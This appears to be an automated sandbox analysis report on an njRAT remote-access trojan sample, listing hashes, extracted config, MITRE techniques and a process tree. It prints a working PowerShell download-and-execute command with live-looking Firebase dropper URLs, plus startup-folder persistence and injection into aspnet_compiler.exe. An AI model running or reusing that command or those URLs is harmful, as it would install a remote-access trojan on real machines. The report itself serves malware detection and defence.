njrat | c07598299d2d73883f23a3585740bca427eb733579c4a0fe2280593d116896f1

General

Target

c07598299d2d73883f23a3585740bca427eb733579c4a0fe2280593d116896f1.vbs
Size

271B
MD5

b9acaac18eee9b5cde0c6defbe2c1caa
SHA1

6f8cb34d61f9136e96345684846edf49dfa976bc
SHA256

c07598299d2d73883f23a3585740bca427eb733579c4a0fe2280593d116896f1
SHA512

70c8b3742c98e1daf2c7fda40c992621c2250a9dac648c4798370697f5688e1883162079909dd245a33fc064a843a94f84c7399b99bae9b6418a47b3c5e75e12

Score

10^/10

njrat h execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://firebasestorage.googleapis.com/v0/b/prog-622b7.appspot.com/o/SidM.jpg?alt=media&token=53ed6ff5-09e0-4464-a19c-f0e9d9c6cec8

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://firebasestorage.googleapis.com/v0/b/prog-622b7.appspot.com/o/Ssid.jpg?alt=media&token=10629c63-3c23-437a-9543-4f9dcee695bb

ps1.dropper

https://firebasestorage.googleapis.com/v0/b/prog-622b7.appspot.com/o/Rnew.jpg?alt=media&token=d68ad7e3-80ed-4083-ad53-8af401c5b503

Extracted

Family

njrat

Version

0.7d

Botnet

H

Attributes

splitter
|'|'|

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

7 4244 powershell.exe
36 3272 powershell.exe

flow	pid	process
7	4244	powershell.exe
36	3272	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sCs.vbs powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3272 set thread context of 4328 3272 powershell.exe aspnet_compiler.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

4244 powershell.exe
3272 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000_Classes\Local Settings powershell.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

4244 powershell.exe
4244 powershell.exe
3272 powershell.exe
3272 powershell.exe
3272 powershell.exe
3272 powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sCs.vbs	powershell.exe

description	pid	process	target process
PID 3272 set thread context of 4328	3272	powershell.exe	aspnet_compiler.exe

pid	process
4244	powershell.exe
3272	powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000_Classes\Local Settings	powershell.exe

pid	process
4244	powershell.exe
4244	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe
3272	powershell.exe

Suspicious use of AdjustPrivilegeToken 33 IoCs

Processes:

powershell.exepowershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeDebugPrivilege	3272	powershell.exe
Token: SeDebugPrivilege	4328	aspnet_compiler.exe
Token: 33	4328	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4328	aspnet_compiler.exe
Token: 33	4328	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4328	aspnet_compiler.exe
Token: 33	4328	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4328	aspnet_compiler.exe
Token: 33	4328	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4328	aspnet_compiler.exe
Token: 33	4328	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4328	aspnet_compiler.exe
Token: 33	4328	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4328	aspnet_compiler.exe
Token: 33	4328	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4328	aspnet_compiler.exe
Token: 33	4328	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4328	aspnet_compiler.exe
Token: 33	4328	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4328	aspnet_compiler.exe
Token: 33	4328	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4328	aspnet_compiler.exe
Token: 33	4328	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4328	aspnet_compiler.exe
Token: 33	4328	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4328	aspnet_compiler.exe
Token: 33	4328	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4328	aspnet_compiler.exe
Token: 33	4328	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4328	aspnet_compiler.exe
Token: 33	4328	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	4328	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 17 IoCs

Processes:

WScript.exepowershell.exeWScript.exepowershell.exe

description	pid	process	target process
PID 4992 wrote to memory of 4244	4992	WScript.exe	powershell.exe
PID 4992 wrote to memory of 4244	4992	WScript.exe	powershell.exe
PID 4244 wrote to memory of 1464	4244	powershell.exe	WScript.exe
PID 4244 wrote to memory of 1464	4244	powershell.exe	WScript.exe
PID 1464 wrote to memory of 3272	1464	WScript.exe	powershell.exe
PID 1464 wrote to memory of 3272	1464	WScript.exe	powershell.exe
PID 3272 wrote to memory of 1680	3272	powershell.exe	aspnet_compiler.exe
PID 3272 wrote to memory of 1680	3272	powershell.exe	aspnet_compiler.exe
PID 3272 wrote to memory of 1680	3272	powershell.exe	aspnet_compiler.exe
PID 3272 wrote to memory of 4328	3272	powershell.exe	aspnet_compiler.exe
PID 3272 wrote to memory of 4328	3272	powershell.exe	aspnet_compiler.exe
PID 3272 wrote to memory of 4328	3272	powershell.exe	aspnet_compiler.exe
PID 3272 wrote to memory of 4328	3272	powershell.exe	aspnet_compiler.exe
PID 3272 wrote to memory of 4328	3272	powershell.exe	aspnet_compiler.exe
PID 3272 wrote to memory of 4328	3272	powershell.exe	aspnet_compiler.exe
PID 3272 wrote to memory of 4328	3272	powershell.exe	aspnet_compiler.exe
PID 3272 wrote to memory of 4328	3272	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c07598299d2d73883f23a3585740bca427eb733579c4a0fe2280593d116896f1.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4992

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass iex ((New-Object Net.WebClient).DownloadString('https://firebasestorage.googleapis.com/v0/b/prog-622b7.appspot.com/o/SidM.jpg?alt=media&token=53ed6ff5-09e0-4464-a19c-f0e9d9c6cec8'))
2⤵
- Blocklisted process makes network request
- Drops startup file
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4244

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Public\sCs.vbs"
3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1464

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Public\sCs.ps1
4⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3272

C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
5⤵
PID:1680

C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
6c25e98074e3843e30eeda41a1357b92

SHA1
88aacfbe76ce89e2024d652a9ac37ad68518e3fe

SHA256
17fa8418f7132c304749f477f7b514c3d6358a7d63b5c3f8529055862dfcd67f

SHA512
03f82a7f8834e2a914a3486291d9b3cc97642ad8de55035bfc3a172dfe6ea1de2de2a14c974adf1ed32324f7414088f647ce683f0278881c2339d4551efb0e4c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ioro4gom.or0.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\sCs.ps1
Filesize
1KB

MD5
e0e7ea9409eb39ae9d9e06ea8d2acd94

SHA1
3b8ab9de2c853a0238f3024eb8905ab81b8f634c

SHA256
93b29bea09147a94220823e19c53a36c10ac8689bd196d73ae93e56c6acf3713

SHA512
14cb12ce1637b7f2749179330328e6aa20871e6e5783f9e0d709ed2051241f0e4ee645c7d4629146c09c75f28470d4232b13aacc4193007c7b1d8644b25bd48f

Download Submit
C:\Users\Public\sCs.vbs
Filesize
166B

MD5
c3e1b2c797679d84c76dcdd5bb81db0d

SHA1
f178c6888aa88ef7e940dd1b572ea9ac8c30c56c

SHA256
cc9f01e9c6a3d717e775740b64106245324ecc9c77004f6c9b5d7d2e84cdf80b

SHA512
be52acfd7294f31f7ee1c573711c915705f044cb762a6d5b6051f39f9774e7ef52287cfba5361e921ead9ca952e2c34f3a4210a4d8aa6badee78b1e7b713e22c

Download Submit
memory/3272-34-0x0000025FA2AD0000-0x0000025FA2ADC000-memory.dmp

Filesize
48KB

Download
memory/4244-0-0x00007FFDAAEC3000-0x00007FFDAAEC5000-memory.dmp

Filesize
8KB

Download
memory/4244-1-0x000001C764FF0000-0x000001C765012000-memory.dmp

Filesize
136KB

Download
memory/4244-11-0x00007FFDAAEC0000-0x00007FFDAB981000-memory.dmp

Filesize
10.8MB

Download
memory/4244-12-0x00007FFDAAEC0000-0x00007FFDAB981000-memory.dmp

Filesize
10.8MB

Download
memory/4244-21-0x00007FFDAAEC0000-0x00007FFDAB981000-memory.dmp

Filesize
10.8MB

Download
memory/4328-35-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads